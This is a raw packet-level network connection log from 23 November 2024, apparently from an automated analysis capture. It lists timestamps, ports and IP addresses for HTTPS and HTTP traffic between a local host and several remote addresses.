Nov 23, 2024 20:23:15.326456070 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.326538086 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.326869011 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.326884985 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.379677057 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.380013943 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.380023003 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.380346060 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.380348921 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.381280899 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:15.381346941 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:15.381516933 CET	80	49776	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:15.381604910 CET	49776	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:15.381750107 CET	49776	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:15.501552105 CET	80	49776	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:15.637773991 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:15.637814999 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:15.637901068 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:15.640981913 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:15.640995979 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:15.770885944 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.770946026 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.771234035 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.771266937 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.771281958 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.771300077 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.771305084 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.772700071 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.772850990 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.772943974 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.773097038 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.773144007 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.773176908 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.773209095 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.774259090 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.774286985 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.774374008 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.774501085 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.774514914 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.775130987 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.775163889 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.775228977 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.775403023 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.775415897 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.780136108 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.780297995 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.780358076 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.780400038 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.780400038 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.780420065 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.780431032 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.782124996 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.782169104 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.782262087 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.782383919 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.782418966 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.834922075 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.834995031 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.835166931 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.835741043 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.835761070 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.835781097 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.835789919 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.838355064 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.838392973 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.838455915 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.838592052 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.838609934 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.864767075 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.865329981 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.865365982 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:15.865792990 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:15.865809917 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.353724003 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.353874922 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.353969097 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:16.354145050 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:16.354146004 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:16.354176998 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.354201078 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.358922005 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:16.358963013 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.359046936 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:16.359447002 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:16.359476089 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:16.773538113 CET	80	49776	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:16.773684978 CET	49776	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:16.834184885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:16.835978985 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:16.961155891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:16.961242914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:16.963396072 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:16.963534117 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:16.963725090 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:16.970846891 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:16.970947027 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:16.972497940 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:16.972507954 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:16.972835064 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.019742012 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.019784927 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.019869089 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.083177090 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:17.504957914 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.505522013 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.505553961 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.506078959 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.506086111 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.576817989 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.577394009 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.577414989 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.577884912 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.577889919 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.584467888 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.584821939 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.584878922 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.585167885 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.585181952 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.610295057 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.610677958 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.610757113 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.611037970 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.611052990 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.708012104 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.708121061 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.708194971 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.711080074 CET	49777	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.711096048 CET	443	49777	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.755987883 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.756011009 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.756098032 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.756361961 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:17.756376028 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:17.947221041 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.947283030 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.947369099 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.947571993 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.947586060 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.947596073 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.947602034 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.950216055 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.950243950 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:17.950337887 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.950460911 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:17.950472116 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.032536983 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.032692909 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.032818079 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.032849073 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.032857895 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.032867908 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.032872915 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.035655022 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.035677910 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.035767078 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.035901070 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.035917997 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.064627886 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.064702988 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.064827919 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.064863920 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.064863920 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.064886093 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.064897060 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.067183018 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.067204952 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.067266941 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.067400932 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.067411900 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.067687988 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.067754984 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.067873001 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.067934990 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.067934990 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.067971945 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.067996979 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.069798946 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.069859982 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.069950104 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.070084095 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.070115089 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.163382053 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.167542934 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.167604923 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.168612003 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.168625116 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.298913002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.298949003 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.298996925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.299047947 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.299457073 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.299495935 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.299509048 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.299551010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.299767017 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.300390005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.300448895 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.300458908 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.300466061 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.300518036 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.300530910 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.300575972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.301279068 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.301451921 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.424036980 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.424056053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.424118042 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.428170919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.428230047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.428251028 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.428302050 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.491555929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.491630077 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.491652966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.491703987 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.495889902 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.495961905 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.495978117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.496022940 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.504148006 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.504213095 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.504287958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.504338980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.512547970 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.512597084 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.512614012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.512659073 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.520900965 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.520958900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.521024942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.521073103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.529301882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.529359102 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.529419899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.529469967 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.537694931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.537756920 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.537763119 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.537831068 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.546015978 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.546149969 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.546220064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.554389954 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.554495096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.554559946 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.562441111 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.562501907 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.562622070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.562872887 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.571387053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.571439028 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.571490049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.637582064 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.637726068 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.637803078 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.637932062 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.637932062 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.637991905 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.638020992 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.640902996 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.640948057 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.641050100 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.641341925 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:18.641356945 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:18.743915081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.744002104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.744026899 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.744086981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.747755051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.747811079 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.747853041 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.747900963 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.755795002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.755852938 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.755917072 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.755969048 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.763917923 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.763952971 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.763979912 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.764015913 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.769696951 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.769752026 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.769819975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.769872904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.775376081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.775432110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.775542974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.775594950 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.781218052 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.781272888 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.781274080 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.781321049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.787229061 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.787245989 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.787293911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.787295103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.792747021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.792803049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.792881012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.792931080 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.798437119 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.798491955 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.798537016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.798588037 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.804271936 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.804338932 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.804373980 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.804599047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.809988022 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.810039043 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.810203075 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.810252905 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.815789938 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.815845013 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.815910101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.815962076 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.821528912 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.821583033 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.821618080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.821991920 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.827254057 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.827302933 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.827357054 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.827406883 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.833065987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.833112955 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.833120108 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.833158970 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.838913918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.838963032 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.839000940 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.839051962 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.844552994 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.844604969 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.844645023 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.844695091 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.850320101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.850409985 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.850442886 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.850493908 CET	49783	80	192.168.2.4	185.215.113.16
